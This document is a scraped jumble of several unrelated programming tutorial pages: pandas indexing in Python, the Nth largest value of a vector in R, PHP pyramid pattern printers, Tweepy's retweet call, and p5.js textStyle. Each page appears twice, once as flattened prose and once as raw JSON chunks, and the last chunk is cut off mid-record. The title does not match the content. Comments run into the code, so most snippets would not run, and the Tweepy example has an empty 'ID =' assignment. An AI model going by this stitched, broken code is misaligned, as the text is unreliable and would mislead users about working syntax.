Python | Get unique values from a list Defaultdict in Python
[ { "code": null, "e": 28, "s": 0, "text": "\n16 Jul, 2021" }, { "code": null, "e": 167, "s": 28, "text": "Pandas provide a convenient way to handle data and its transformation. Let’s see how can we convert a column to row name/index in Pandas. " }, { "code": null, "e": 213, "s": 167, "text": "Create a dataframe first with dict of lists. " }, { "code": null, "e": 221, "s": 213, "text": "Python3" }, { "code": "# importing pandas as pdimport pandas as pd # Creating a dict of listsdata = {'Name':[\"Akash\", \"Geeku\", \"Pankaj\", \"Sumitra\",\"Ramlal\"], 'Branch':[\"B.Tech\", \"MBA\", \"BCA\", \"B.Tech\", \"BCA\"], 'Score':[\"80\",\"90\",\"60\", \"30\", \"50\"], 'Result': [\"Pass\",\"Pass\",\"Pass\",\"Fail\",\"Fail\"]} # creating a dataframedf = pd.DataFrame(data) df", "e": 562, "s": 221, "text": null }, { "code": null, "e": 571, "s": 562, "text": "Output: " }, { "code": null, "e": 609, "s": 571, "text": "Method #1: Using set_index() method. " }, { "code": null, "e": 617, "s": 609, "text": "Python3" }, { "code": "# importing pandas as pdimport pandas as pd # Creating a dict of listsdata = {'Name':[\"Akash\", \"Geeku\", \"Pankaj\", \"Sumitra\",\"Ramlal\"], 'Branch':[\"B.Tech\", \"MBA\", \"BCA\", \"B.Tech\", \"BCA\"], 'Score':[\"80\",\"90\",\"60\", \"30\", \"50\"], 'Result': [\"Pass\",\"Pass\",\"Pass\",\"Fail\",\"Fail\"]} # Creating a dataframedf = pd.DataFrame(data) # Using set_index() method on 'Name' columndf = df.set_index('Name') df", "e": 1026, "s": 617, "text": null }, { "code": null, "e": 1035, "s": 1026, "text": "Output: " }, { "code": null, "e": 1066, "s": 1035, "text": "Now, set index name as None. " }, { "code": null, "e": 1074, "s": 1066, "text": "Python3" }, { "code": "# set the index to 'None' via its name propertydf.index.names = [None] df", "e": 1148, "s": 1074, "text": null }, { "code": null, "e": 1157, "s": 1148, "text": "Output: " }, { "code": null, "e": 1461, "s": 1157, "text": "Method #2: Using pivot() method.In order to convert a column to row name/index in dataframe, Pandas has a built-in function Pivot.Now, let’s say we want Result to be the rows/index, and columns be name in our dataframe, to achieve this pandas has provided a method called Pivot. Let us see how it works," }, { "code": null, "e": 1469, "s": 1461, "text": "Python3" }, { "code": "# importing pandas as pdimport pandas as pd # Creating a dict of listsdata = {'name':[\"Akash\", \"Geeku\", \"Pankaj\", \"Sumitra\", \"Ramlal\"], 'Branch':[\"B.Tech\", \"MBA\", \"BCA\", \"B.Tech\", \"BCA\"], 'Score':[\"80\", \"90\", \"60\", \"30\", \"50\"], 'Result': [\"Pass\", \"Pass\", \"Pass\", \"Fail\", \"Fail\"]} df = pd.DataFrame(data) # pivoting the dataframedf.pivot(index ='Result', columns ='name') df", "e": 1861, "s": 1469, "text": null }, { "code": null, "e": 1870, "s": 1861, "text": "Output: " }, { "code": null, "e": 1891, "s": 1872, "text": "surindertarika1234" }, { "code": null, "e": 1916, "s": 1891, "text": "pandas-dataframe-program" }, { "code": null, "e": 1923, "s": 1916, "text": "Picked" }, { "code": null, "e": 1947, "s": 1923, "text": "Python pandas-dataFrame" }, { "code": null, "e": 1961, "s": 1947, "text": "Python-pandas" }, { "code": null, "e": 1968, "s": 1961, "text": "Python" }, { "code": null, "e": 2066, "s": 1968, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2098, "s": 2066, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 2125, "s": 2098, "text": "Python Classes and Objects" }, { "code": null, "e": 2146, "s": 2125, "text": "Python OOPs Concepts" }, { "code": null, "e": 2169, "s": 2146, "text": "Introduction To PYTHON" }, { "code": null, "e": 2225, "s": 2169, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 2267, "s": 2225, "text": "Check if element exists in list in Python" }, { "code": null, "e": 2298, "s": 2267, "text": "Python | os.path.join() method" }, { "code": null, "e": 2340, "s": 2298, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 2379, "s": 2340, "text": "Python | Get unique values from a list" } ]
Find the Nth highest value of a vector in R
27 Jan, 2022 In this article, we will see how to find the Nth largest value of a vector in the R Programming Language. Steps for finding nth largest element in vector R: Step 1: Create a vector and take input from the user. Syntax : variable name = readline() Where Variable is the valid identifier. readline() will take input from user. Step 2: Convert our data from string to int. Syntax: variable 1= as.integer(variable2); Where Variable1 is the valid identifier which will store integer value of variable 2 Variable 2 is string which is needed to convert to integer. Step 3: Finding nth largest number using Syntax: sort(vector name ,True) [n value]) Where Vector name is the vector that we created. Here True is used as we needed this vector in descending order. N value is which the largest number you want to print. Example 1: In this example, we are reading a value from the user. As it is in string format we are converting it into an integer. After that, we are sorting vector by using sort() and in sort, we are passing vector name, TRUE, and nth largest element.Here we are passing True as we need it in descending order. R a<- c(1000,3000,4000) x = readline(); # we are converting data from string to# int and storing in x.x = as.integer(x); # we are sorting vector and printing# nth element.As this vector is in sorted# way we will get xth largest numberprint(sort(a,TRUE)[x]) Output: [1] 4000 Here user input is 1 so the output is 4000 as we need to find the first largest element. Example 2: In this example, we are reading a value from the user. As it is in string format we are converting it into an integer. After that, we are sorting vector by using sort() and in sort, we are passing vector name, TRUE, and yth the largest element.Here we are passing True as we need it in descending order. R b<- c(1500, 334000, 33000) # we are storing value given by user into yy = readline(); # we are converting data from string to int and storing in y.y = as.integer(y); # we are sorting vector and printing yth element.# As this vector is in sorted way(descending order)# we will get yth largest numberprint(sort(b,TRUE)[y]) Output: [1] 33000 Here user input is 2 so the output is 33000 as we need to find the second largest element. as5853535 clintra Picked R Vector-Programs R-Vectors R Language R Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Change Color of Bars in Barchart using ggplot2 in R How to Split Column Into Multiple Columns in R DataFrame? Group by function in R using Dplyr How to Change Axis Scales in R Plots? How to filter R DataFrame by values in a column? How to Split Column Into Multiple Columns in R DataFrame? How to filter R DataFrame by values in a column? Replace Specific Characters in String in R Merge DataFrames by Column Names in R How to Sort a DataFrame in R ?
[ { "code": null, "e": 28, "s": 0, "text": "\n27 Jan, 2022" }, { "code": null, "e": 134, "s": 28, "text": "In this article, we will see how to find the Nth largest value of a vector in the R Programming Language." }, { "code": null, "e": 185, "s": 134, "text": "Steps for finding nth largest element in vector R:" }, { "code": null, "e": 239, "s": 185, "text": "Step 1: Create a vector and take input from the user." }, { "code": null, "e": 275, "s": 239, "text": "Syntax : variable name = readline()" }, { "code": null, "e": 282, "s": 275, "text": "Where " }, { "code": null, "e": 316, "s": 282, "text": "Variable is the valid identifier." }, { "code": null, "e": 354, "s": 316, "text": "readline() will take input from user." }, { "code": null, "e": 399, "s": 354, "text": "Step 2: Convert our data from string to int." }, { "code": null, "e": 442, "s": 399, "text": "Syntax: variable 1= as.integer(variable2);" }, { "code": null, "e": 448, "s": 442, "text": "Where" }, { "code": null, "e": 527, "s": 448, "text": "Variable1 is the valid identifier which will store integer value of variable 2" }, { "code": null, "e": 588, "s": 527, "text": "Variable 2 is string which is needed to convert to integer. " }, { "code": null, "e": 630, "s": 588, "text": "Step 3: Finding nth largest number using " }, { "code": null, "e": 673, "s": 630, "text": "Syntax: sort(vector name ,True) [n value])" }, { "code": null, "e": 680, "s": 673, "text": "Where " }, { "code": null, "e": 723, "s": 680, "text": "Vector name is the vector that we created." }, { "code": null, "e": 787, "s": 723, "text": "Here True is used as we needed this vector in descending order." }, { "code": null, "e": 842, "s": 787, "text": "N value is which the largest number you want to print." }, { "code": null, "e": 853, "s": 842, "text": "Example 1:" }, { "code": null, "e": 1154, "s": 853, "text": "In this example, we are reading a value from the user. As it is in string format we are converting it into an integer. After that, we are sorting vector by using sort() and in sort, we are passing vector name, TRUE, and nth largest element.Here we are passing True as we need it in descending order. " }, { "code": null, "e": 1156, "s": 1154, "text": "R" }, { "code": "a<- c(1000,3000,4000) x = readline(); # we are converting data from string to# int and storing in x.x = as.integer(x); # we are sorting vector and printing# nth element.As this vector is in sorted# way we will get xth largest numberprint(sort(a,TRUE)[x])", "e": 1411, "s": 1156, "text": null }, { "code": null, "e": 1419, "s": 1411, "text": "Output:" }, { "code": null, "e": 1428, "s": 1419, "text": "[1] 4000" }, { "code": null, "e": 1517, "s": 1428, "text": "Here user input is 1 so the output is 4000 as we need to find the first largest element." }, { "code": null, "e": 1833, "s": 1517, "text": "Example 2: In this example, we are reading a value from the user. As it is in string format we are converting it into an integer. After that, we are sorting vector by using sort() and in sort, we are passing vector name, TRUE, and yth the largest element.Here we are passing True as we need it in descending order. " }, { "code": null, "e": 1835, "s": 1833, "text": "R" }, { "code": "b<- c(1500, 334000, 33000) # we are storing value given by user into yy = readline(); # we are converting data from string to int and storing in y.y = as.integer(y); # we are sorting vector and printing yth element.# As this vector is in sorted way(descending order)# we will get yth largest numberprint(sort(b,TRUE)[y])", "e": 2156, "s": 1835, "text": null }, { "code": null, "e": 2164, "s": 2156, "text": "Output:" }, { "code": null, "e": 2174, "s": 2164, "text": "[1] 33000" }, { "code": null, "e": 2265, "s": 2174, "text": "Here user input is 2 so the output is 33000 as we need to find the second largest element." }, { "code": null, "e": 2275, "s": 2265, "text": "as5853535" }, { "code": null, "e": 2283, "s": 2275, "text": "clintra" }, { "code": null, "e": 2290, "s": 2283, "text": "Picked" }, { "code": null, "e": 2308, "s": 2290, "text": "R Vector-Programs" }, { "code": null, "e": 2318, "s": 2308, "text": "R-Vectors" }, { "code": null, "e": 2329, "s": 2318, "text": "R Language" }, { "code": null, "e": 2340, "s": 2329, "text": "R Programs" }, { "code": null, "e": 2438, "s": 2340, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2490, "s": 2438, "text": "Change Color of Bars in Barchart using ggplot2 in R" }, { "code": null, "e": 2548, "s": 2490, "text": "How to Split Column Into Multiple Columns in R DataFrame?" }, { "code": null, "e": 2583, "s": 2548, "text": "Group by function in R using Dplyr" }, { "code": null, "e": 2621, "s": 2583, "text": "How to Change Axis Scales in R Plots?" }, { "code": null, "e": 2670, "s": 2621, "text": "How to filter R DataFrame by values in a column?" }, { "code": null, "e": 2728, "s": 2670, "text": "How to Split Column Into Multiple Columns in R DataFrame?" }, { "code": null, "e": 2777, "s": 2728, "text": "How to filter R DataFrame by values in a column?" }, { "code": null, "e": 2820, "s": 2777, "text": "Replace Specific Characters in String in R" }, { "code": null, "e": 2858, "s": 2820, "text": "Merge DataFrames by Column Names in R" } ]
PHP programs for printing pyramid patterns
23 Dec, 2021 This article is aimed at giving a PHP implementation for pattern printing. Simple Pyramid Pattern <?php// Php code to demonstrate// star pattern // Function to demonstrate// printing patternfunction pypart($n){ // Outer loop to handle number // of rowsn in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for($j = 0; $j <= $i; $j++ ) { // Printing stars echo "* "; } // ending line after // each row echo "\n"; }} // Driver Code $n = 5; pypart($n);?> Output : * * * * * * * * * * * * * * * After 180 degree rotation <?php// PHP code to demonstrate// star pattern // Function to demonstrate// printing patternfunction pypart2($n){ for ($i = 1; $i <= $n; $i++) { for ($j = 1; $j <= $n; $j++) { if($j<=($n-$i)){ echo " "." "; }else { echo "* "; } } echo PHP_EOL; } } // Driver Code $n = 5; pypart2($n); ?> Output : * * * * * * * * * * * * * * * Printing Triangle <?php// PHP code to demonstrate// star pattern // Function to demonstrate // printing patternfunction triangle($n){ // number of spaces $k = 2 * $n - 2; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number spaces // values changing acc. // to requirement for ($j = 0; $j < $k; $j++) echo " "; // decrementing k after // each loop $k = $k - 1; // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // printing stars echo "* "; } // ending line after // each row echo "\n"; }} // Driver Code $n = 5; triangle($n); ?> Output : * * * * * * * * * * * * * * * Star Triangle Pattern 2 <?php // code // PHP code to demonstrate// star pattern 2 // Function to demonstrate // printing pattern 2 function triangle_pattern($len){$string="*";$pyramid_str="";$mid_point=ceil($len/2);for($i=1;$i<=$mid_point;$i++){ for($j = 1; $j <= $i; ++$j) { $pyramid_str.=$string." "; } $pyramid_str.="\r\n";} for($i=$mid_point;$i>=1;$i--){ for($j = 1; $j < $i; ++$j) { $pyramid_str.=$string." "; } $pyramid_str.="\r\n"; } return $pyramid_str;}echo triangle_pattern(9); ?> Output * * * * * * * * * * * * * * * * * * * * * * * * * Number Pattern <?php// PHP code to demonstrate // printing pattern of numbers // Function to demonstrate // printing patternfunction numpat($n){ // initializing starting number $num = 1; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // printing number echo $num." "; } // incrementing number // at each column $num = $num + 1; // ending line after // each row echo "\n"; }} // Driver Code $n = 5; numpat($n); ?> Output : 1 2 2 3 3 3 4 4 4 4 5 5 5 5 5 Numbers without re assigning <?php// PHP code to demonstrate // printing pattern of numbers // Function to demonstrate// printing patternfunction numpat($n){ // initialising starting // number $num = 1; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // printing number echo $num." "; // incrementing number // at each column $num = $num + 1; } // ending line after // each row echo "\n"; }} // Driver Code $n = 5; numpat($n); ?> Output : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Character Pattern <?php// PHP code to demonstrate printing// pattern of alphabets // Function to demonstrate // printing patternfunction alphapat($n){ // initializing value // corresponding to 'A' // ASCII value $num = 65; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // explicitly converting // to char $ch = chr($num); // printing char value echo $ch." "; } // incrementing number $num = $num + 1; // ending line after // each row echo "\n"; }} // Driver Code $n = 5; alphapat($n); ?> Output : A B B C C C D D D D E E E E E Continuous Character pattern <?php// PHP code to demonstrate printing// pattern of alphabets // Function to demonstrate// printing patternfunction contalpha($n){ // initializing value // corresponding to 'A' // ASCII value $num = 65; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // explicitly converting // to char $ch = chr($num); // printing char value echo $ch." "; // incrementing number // at each column $num = $num + 1; } // ending line after each row echo "\n"; }} // Driver Code $n = 5; contalpha($n); ?> Output : A B C D E F G H I J K L M N O Related Article :Programs for printing pyramid patterns in C++Programs for printing pyramid patterns in JavaPrograms for printing pyramid patterns in Python PHP is a server-side scripting language designed specifically for web development. You can learn PHP from the ground up by following this PHP Tutorial and PHP Examples. SAURABHJAIN3 sumanmw arorakashish0911 pattern-printing PHP School Programming pattern-printing PHP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 52, "s": 24, "text": "\n23 Dec, 2021" }, { "code": null, "e": 127, "s": 52, "text": "This article is aimed at giving a PHP implementation for pattern printing." }, { "code": null, "e": 150, "s": 127, "text": "Simple Pyramid Pattern" }, { "code": "<?php// Php code to demonstrate// star pattern // Function to demonstrate// printing patternfunction pypart($n){ // Outer loop to handle number // of rowsn in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for($j = 0; $j <= $i; $j++ ) { // Printing stars echo \"* \"; } // ending line after // each row echo \"\\n\"; }} // Driver Code $n = 5; pypart($n);?>", "e": 733, "s": 150, "text": null }, { "code": null, "e": 742, "s": 733, "text": "Output :" }, { "code": null, "e": 778, "s": 742, "text": "* \n* * \n* * * \n* * * * \n* * * * * \n" }, { "code": null, "e": 804, "s": 778, "text": "After 180 degree rotation" }, { "code": "<?php// PHP code to demonstrate// star pattern // Function to demonstrate// printing patternfunction pypart2($n){ for ($i = 1; $i <= $n; $i++) { for ($j = 1; $j <= $n; $j++) { if($j<=($n-$i)){ echo \" \".\" \"; }else { echo \"* \"; } } echo PHP_EOL; } } // Driver Code $n = 5; pypart2($n); ?>", "e": 1226, "s": 804, "text": null }, { "code": null, "e": 1235, "s": 1226, "text": "Output :" }, { "code": null, "e": 1291, "s": 1235, "text": " * \n * * \n * * * \n * * * * \n* * * * * \n" }, { "code": null, "e": 1309, "s": 1291, "text": "Printing Triangle" }, { "code": "<?php// PHP code to demonstrate// star pattern // Function to demonstrate // printing patternfunction triangle($n){ // number of spaces $k = 2 * $n - 2; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number spaces // values changing acc. // to requirement for ($j = 0; $j < $k; $j++) echo \" \"; // decrementing k after // each loop $k = $k - 1; // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // printing stars echo \"* \"; } // ending line after // each row echo \"\\n\"; }} // Driver Code $n = 5; triangle($n); ?>", "e": 2200, "s": 1309, "text": null }, { "code": null, "e": 2209, "s": 2200, "text": "Output :" }, { "code": null, "e": 2255, "s": 2209, "text": " * \n * * \n * * * \n * * * * \n* * * * * \n" }, { "code": null, "e": 2279, "s": 2255, "text": "Star Triangle Pattern 2" }, { "code": "<?php // code // PHP code to demonstrate// star pattern 2 // Function to demonstrate // printing pattern 2 function triangle_pattern($len){$string=\"*\";$pyramid_str=\"\";$mid_point=ceil($len/2);for($i=1;$i<=$mid_point;$i++){ for($j = 1; $j <= $i; ++$j) { $pyramid_str.=$string.\" \"; } $pyramid_str.=\"\\r\\n\";} for($i=$mid_point;$i>=1;$i--){ for($j = 1; $j < $i; ++$j) { $pyramid_str.=$string.\" \"; } $pyramid_str.=\"\\r\\n\"; } return $pyramid_str;}echo triangle_pattern(9); ?>", "e": 2795, "s": 2279, "text": null }, { "code": null, "e": 2802, "s": 2795, "text": "Output" }, { "code": null, "e": 2862, "s": 2802, "text": "* \n* * \n* * * \n* * * * \n* * * * * \n* * * * \n* * * \n* * \n* \n" }, { "code": null, "e": 2877, "s": 2862, "text": "Number Pattern" }, { "code": "<?php// PHP code to demonstrate // printing pattern of numbers // Function to demonstrate // printing patternfunction numpat($n){ // initializing starting number $num = 1; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // printing number echo $num.\" \"; } // incrementing number // at each column $num = $num + 1; // ending line after // each row echo \"\\n\"; }} // Driver Code $n = 5; numpat($n); ?>", "e": 3635, "s": 2877, "text": null }, { "code": null, "e": 3644, "s": 3635, "text": "Output :" }, { "code": null, "e": 3680, "s": 3644, "text": "1 \n2 2 \n3 3 3 \n4 4 4 4 \n5 5 5 5 5 \n" }, { "code": null, "e": 3709, "s": 3680, "text": "Numbers without re assigning" }, { "code": "<?php// PHP code to demonstrate // printing pattern of numbers // Function to demonstrate// printing patternfunction numpat($n){ // initialising starting // number $num = 1; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // printing number echo $num.\" \"; // incrementing number // at each column $num = $num + 1; } // ending line after // each row echo \"\\n\"; }} // Driver Code $n = 5; numpat($n); ?>", "e": 4475, "s": 3709, "text": null }, { "code": null, "e": 4484, "s": 4475, "text": "Output :" }, { "code": null, "e": 4526, "s": 4484, "text": "1 \n2 3 \n4 5 6 \n7 8 9 10 \n11 12 13 14 15 \n" }, { "code": null, "e": 4544, "s": 4526, "text": "Character Pattern" }, { "code": "<?php// PHP code to demonstrate printing// pattern of alphabets // Function to demonstrate // printing patternfunction alphapat($n){ // initializing value // corresponding to 'A' // ASCII value $num = 65; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // explicitly converting // to char $ch = chr($num); // printing char value echo $ch.\" \"; } // incrementing number $num = $num + 1; // ending line after // each row echo \"\\n\"; }} // Driver Code $n = 5; alphapat($n); ?>", "e": 5402, "s": 4544, "text": null }, { "code": null, "e": 5411, "s": 5402, "text": "Output :" }, { "code": null, "e": 5447, "s": 5411, "text": "A \nB B \nC C C \nD D D D \nE E E E E \n" }, { "code": null, "e": 5476, "s": 5447, "text": "Continuous Character pattern" }, { "code": "<?php// PHP code to demonstrate printing// pattern of alphabets // Function to demonstrate// printing patternfunction contalpha($n){ // initializing value // corresponding to 'A' // ASCII value $num = 65; // outer loop to handle // number of rows // n in this case for ($i = 0; $i < $n; $i++) { // inner loop to handle // number of columns // values changing acc. // to outer loop for ($j = 0; $j <= $i; $j++ ) { // explicitly converting // to char $ch = chr($num); // printing char value echo $ch.\" \"; // incrementing number // at each column $num = $num + 1; } // ending line after each row echo \"\\n\"; }} // Driver Code $n = 5; contalpha($n); ?>", "e": 6362, "s": 5476, "text": null }, { "code": null, "e": 6371, "s": 6362, "text": "Output :" }, { "code": null, "e": 6407, "s": 6371, "text": "A \nB C \nD E F \nG H I J \nK L M N O \n" }, { "code": null, "e": 6566, "s": 6409, "text": "Related Article :Programs for printing pyramid patterns in C++Programs for printing pyramid patterns in JavaPrograms for printing pyramid patterns in Python" }, { "code": null, "e": 6735, "s": 6566, "text": "PHP is a server-side scripting language designed specifically for web development. You can learn PHP from the ground up by following this PHP Tutorial and PHP Examples." }, { "code": null, "e": 6748, "s": 6735, "text": "SAURABHJAIN3" }, { "code": null, "e": 6756, "s": 6748, "text": "sumanmw" }, { "code": null, "e": 6773, "s": 6756, "text": "arorakashish0911" }, { "code": null, "e": 6790, "s": 6773, "text": "pattern-printing" }, { "code": null, "e": 6794, "s": 6790, "text": "PHP" }, { "code": null, "e": 6813, "s": 6794, "text": "School Programming" }, { "code": null, "e": 6830, "s": 6813, "text": "pattern-printing" }, { "code": null, "e": 6834, "s": 6830, "text": "PHP" } ]
Python – API.retweet() in Tweepy
05 Jun, 2020 Twitter is a popular social network where users share messages called tweets. Twitter allows us to mine the data of any user using Twitter API or Tweepy. The data will be tweets extracted from the user. The first thing to do is get the consumer key, consumer secret, access key and access secret from twitter developer available easily for each user. These keys will help the API for authentication. The API.retweet() method of the API class in Tweepy module is used to retweet a tweet. Syntax : API.retweet(id) Parameters : id : The ID of the tweet which has to be retweeted. Returns : an object of the class Status Example 1 :Retweeting your own tweet. Retweet the following tweet : # import the moduleimport tweepy # assign the values accordinglyconsumer_key = ""consumer_secret = ""access_token = ""access_token_secret = "" # authorization of consumer key and consumer secretauth = tweepy.OAuthHandler(consumer_key, consumer_secret) # set access to user's access key and access secret auth.set_access_token(access_token, access_token_secret) # calling the api api = tweepy.API(auth) # the ID of the tweet to be retweetedID = # retweeting the tweetapi.retweet(ID) Output : Example 2 : Retweeting some other account’s tweet. Retweet the following tweet :Obtaining the screen name, the number of replies and the number of retweets for the above tweet. # the ID of the tweet to be retweetedID = 1263493041769394178 # retweeting the tweetapi.retweet(ID) Output : Python-Tweepy Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Different ways to create Pandas Dataframe Enumerate() in Python Python String | replace() How to Install PIP on Windows ? *args and **kwargs in Python Python Classes and Objects Python OOPs Concepts Iterate over a list in Python Introduction To PYTHON
[ { "code": null, "e": 28, "s": 0, "text": "\n05 Jun, 2020" }, { "code": null, "e": 428, "s": 28, "text": "Twitter is a popular social network where users share messages called tweets. Twitter allows us to mine the data of any user using Twitter API or Tweepy. The data will be tweets extracted from the user. The first thing to do is get the consumer key, consumer secret, access key and access secret from twitter developer available easily for each user. These keys will help the API for authentication." }, { "code": null, "e": 515, "s": 428, "text": "The API.retweet() method of the API class in Tweepy module is used to retweet a tweet." }, { "code": null, "e": 540, "s": 515, "text": "Syntax : API.retweet(id)" }, { "code": null, "e": 553, "s": 540, "text": "Parameters :" }, { "code": null, "e": 605, "s": 553, "text": "id : The ID of the tweet which has to be retweeted." }, { "code": null, "e": 645, "s": 605, "text": "Returns : an object of the class Status" }, { "code": null, "e": 713, "s": 645, "text": "Example 1 :Retweeting your own tweet. Retweet the following tweet :" }, { "code": "# import the moduleimport tweepy # assign the values accordinglyconsumer_key = \"\"consumer_secret = \"\"access_token = \"\"access_token_secret = \"\" # authorization of consumer key and consumer secretauth = tweepy.OAuthHandler(consumer_key, consumer_secret) # set access to user's access key and access secret auth.set_access_token(access_token, access_token_secret) # calling the api api = tweepy.API(auth) # the ID of the tweet to be retweetedID = # retweeting the tweetapi.retweet(ID)", "e": 1202, "s": 713, "text": null }, { "code": null, "e": 1211, "s": 1202, "text": "Output :" }, { "code": null, "e": 1388, "s": 1211, "text": "Example 2 : Retweeting some other account’s tweet. Retweet the following tweet :Obtaining the screen name, the number of replies and the number of retweets for the above tweet." }, { "code": "# the ID of the tweet to be retweetedID = 1263493041769394178 # retweeting the tweetapi.retweet(ID)", "e": 1489, "s": 1388, "text": null }, { "code": null, "e": 1498, "s": 1489, "text": "Output :" }, { "code": null, "e": 1512, "s": 1498, "text": "Python-Tweepy" }, { "code": null, "e": 1519, "s": 1512, "text": "Python" }, { "code": null, "e": 1617, "s": 1519, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 1635, "s": 1617, "text": "Python Dictionary" }, { "code": null, "e": 1677, "s": 1635, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 1699, "s": 1677, "text": "Enumerate() in Python" }, { "code": null, "e": 1725, "s": 1699, "text": "Python String | replace()" }, { "code": null, "e": 1757, "s": 1725, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 1786, "s": 1757, "text": "*args and **kwargs in Python" }, { "code": null, "e": 1813, "s": 1786, "text": "Python Classes and Objects" }, { "code": null, "e": 1834, "s": 1813, "text": "Python OOPs Concepts" }, { "code": null, "e": 1864, "s": 1834, "text": "Iterate over a list in Python" } ]
p5.js | textStyle() Function
16 Apr, 2019 The textStyle() function in p5.js is used to set or return the style of the text for system fonts to NORMAL, ITALIC, BOLD or BOLDITALIC. This may be be overridden by CSS styling. Syntax: textStyle(style) or textStyle() Parameters: This function accepts single parameter style which stores the styling Constant. Below programs illustrate the textStyle() function in p5.js: Example 1: This example uses textStyle() function to set the style of text. function setup() { // Create Canvas of given size createCanvas(380, 170);} function draw() { let string = "GeeksforGeeks"; // Set the background color background(220); // Set the text style textStyle(ITALIC); // Set the text size textSize(16); // Set the text text(string, 20, 30); // Set text styling textStyle(BOLD); text(string, 20, 70); // Set text styling textStyle(BOLDITALIC); text(string, 20, 110);} Output: Example 2: This example uses textStyle() function to return the style of text. function setup() { // Create Canvas of given size createCanvas(380, 170);} function draw() { let string = "GeeksforGeeks"; // Set the background color background(220); // Set text style textStyle(BOLD); // Set the text size textSize(16); // Get the value of text style var u = textStyle(); // Set the stroke color stroke(255, 204, 0); // Display the result text("Value of Text Style is : " + u, 50, 30);} Output: Reference: https://p5js.org/reference/#/p5/textStyle JavaScript-p5.js JavaScript Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Difference between var, let and const keywords in JavaScript Differences between Functional Components and Class Components in React Remove elements from a JavaScript Array Hide or show elements in HTML using display property How to append HTML code to a div using JavaScript ? Top 10 Projects For Beginners To Practice HTML and CSS Skills Installation of Node.js on Linux Difference between var, let and const keywords in JavaScript How to insert spaces/tabs in text using HTML/CSS? How to fetch data from an API in ReactJS ?
[ { "code": null, "e": 28, "s": 0, "text": "\n16 Apr, 2019" }, { "code": null, "e": 207, "s": 28, "text": "The textStyle() function in p5.js is used to set or return the style of the text for system fonts to NORMAL, ITALIC, BOLD or BOLDITALIC. This may be be overridden by CSS styling." }, { "code": null, "e": 215, "s": 207, "text": "Syntax:" }, { "code": null, "e": 232, "s": 215, "text": "textStyle(style)" }, { "code": null, "e": 235, "s": 232, "text": "or" }, { "code": null, "e": 247, "s": 235, "text": "textStyle()" }, { "code": null, "e": 339, "s": 247, "text": "Parameters: This function accepts single parameter style which stores the styling Constant." }, { "code": null, "e": 400, "s": 339, "text": "Below programs illustrate the textStyle() function in p5.js:" }, { "code": null, "e": 476, "s": 400, "text": "Example 1: This example uses textStyle() function to set the style of text." }, { "code": "function setup() { // Create Canvas of given size createCanvas(380, 170);} function draw() { let string = \"GeeksforGeeks\"; // Set the background color background(220); // Set the text style textStyle(ITALIC); // Set the text size textSize(16); // Set the text text(string, 20, 30); // Set text styling textStyle(BOLD); text(string, 20, 70); // Set text styling textStyle(BOLDITALIC); text(string, 20, 110);}", "e": 989, "s": 476, "text": null }, { "code": null, "e": 997, "s": 989, "text": "Output:" }, { "code": null, "e": 1076, "s": 997, "text": "Example 2: This example uses textStyle() function to return the style of text." }, { "code": "function setup() { // Create Canvas of given size createCanvas(380, 170);} function draw() { let string = \"GeeksforGeeks\"; // Set the background color background(220); // Set text style textStyle(BOLD); // Set the text size textSize(16); // Get the value of text style var u = textStyle(); // Set the stroke color stroke(255, 204, 0); // Display the result text(\"Value of Text Style is : \" + u, 50, 30);}", "e": 1571, "s": 1076, "text": null }, { "code": null, "e": 1579, "s": 1571, "text": "Output:" }, { "code": null, "e": 1632, "s": 1579, "text": "Reference: https://p5js.org/reference/#/p5/textStyle" }, { "code": null, "e": 1649, "s": 1632, "text": "JavaScript-p5.js" }, { "code": null, "e": 1660, "s": 1649, "text": "JavaScript" }, { "code": null, "e": 1677, "s": 1660, "text": "Web Technologies" }, { "code": null, "e": 1775, "s": 1677, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 1836, "s": 1775, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": 